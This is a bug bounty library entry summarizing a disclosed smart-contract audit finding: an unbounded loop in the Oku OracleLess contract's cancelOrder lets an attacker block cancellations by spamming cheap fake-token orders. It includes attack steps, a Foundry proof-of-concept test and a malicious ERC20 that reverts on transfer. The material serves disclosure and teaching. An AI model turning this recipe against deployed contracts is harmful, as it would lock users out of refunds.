# `cancelOrder` order can be DOSed due to unbounded loop.

Unbounded pendingOrderIds loop in OracleLess._cancelOrder lets an attacker spam 20,800 cheap orders, making cancellation of legitimate orders gas-unaffordable (DoS).

- Payout: Audit contest
- Severity: medium
- Program: Oku
- Found by: 056Security
- Disclosed: 2024-11-22
- Write-up quality: 6/10
- Original: https://github.com/sherlock-audit/2024-11-oku-judging/issues/589
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-11-oku%3AM-10
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:dos

**Target:** OracleLess automated-trigger order contract (cancelOrder/_cancelOrder)
**Root cause:** _cancelOrder linearly scans the entire pendingOrderIds array to find the order id; the array is unbounded, so a large number of pending orders makes the loop exceed block gas limits.
**Steps:**
1. Deploy a malicious ERC20 whose transfer() reverts but transferFrom() returns true.
2. Call `createOrder(fakeErc20, fakeErc20, 1, 1, attacker, 10, false, '0x0')` ~20,800 times to bloat pendingOrderIds.
3. Legitimate user creates an order and calls `cancelOrder(orderId)`; the loop over 20,800+ entries consumes ~30M gas, exceeding block gas limit.
4. Cancellation reverts for all users; admin cannot remove the malicious orders either since their transfer reverts.
**How found:** Code review of _cancelOrder's linear scan over an unbounded pendingOrderIds array; recognized gas-limit DoS and validated with a Foundry PoC measuring gas before/after 20,800 spam orders.
**Exploitation:** Attacker floods pendingOrderIds with cheap orders using a fake token (~$150 gas), then legitimate cancelOrder calls iterate the whole array and run out of gas, permanently blocking cancellation and refunds.
**Insight:** Look for O(n) linear scans over user-growable arrays in state-mutating functions; a cheap-token spam can push iteration past block gas limits, and a reverting transfer() in the loop prevents admin cleanup.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test creating 20800 orders to DOS cancelOrder**

```
function testDosAttack() public {
        uint96 orderId;
        uint gasUsed = gasleft();
        vm.startPrank(alice);
        realToken.approve(address(oracleLess), 100 ether);
        orderId = oracleLess.createOrder(realToken, realToken, 1 ether, 1, alice, 1, false, '0x0');
        gasUsed = gasleft();
        oracleLess.cancelOrder(orderId);
        console.log("Normal Cancel Gas Usage        : ", gasUsed - gasleft());
        vm.stopPrank();

        vm.startPrank(attacker);
        gasUsed = gasleft();
        for (uint i = 0; i < 20800; i++)
            oracleLess.createOrder(fakeErc20, fakeErc20, 1, 1, attacker, 10, false, '0x0');
        console.log("Attack Gas Usage               : ", gasUsed - gasleft());
        vm.stopPrank();

        vm.startPrank(alice);
        gasUsed = gasleft();
        orderId = oracleLess.createOrder(realToken, realToken, 1 ether, 1, alice, 1, false, '0x0');
        oracleLess.cancelOrder(orderId);
        console.log("After Attack Cancel Gas Usage  : ", gasUsed - gasleft());
        vm.stopPrank();
    }
```

**Malicious ERC20 that reverts on transfer**

```
contract FakeERC20 {
    function transfer(address to, uint256 amount) external returns (bool) { 
        revert("HACKED!");
        return false;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) { 
        return true;
    }

}
```

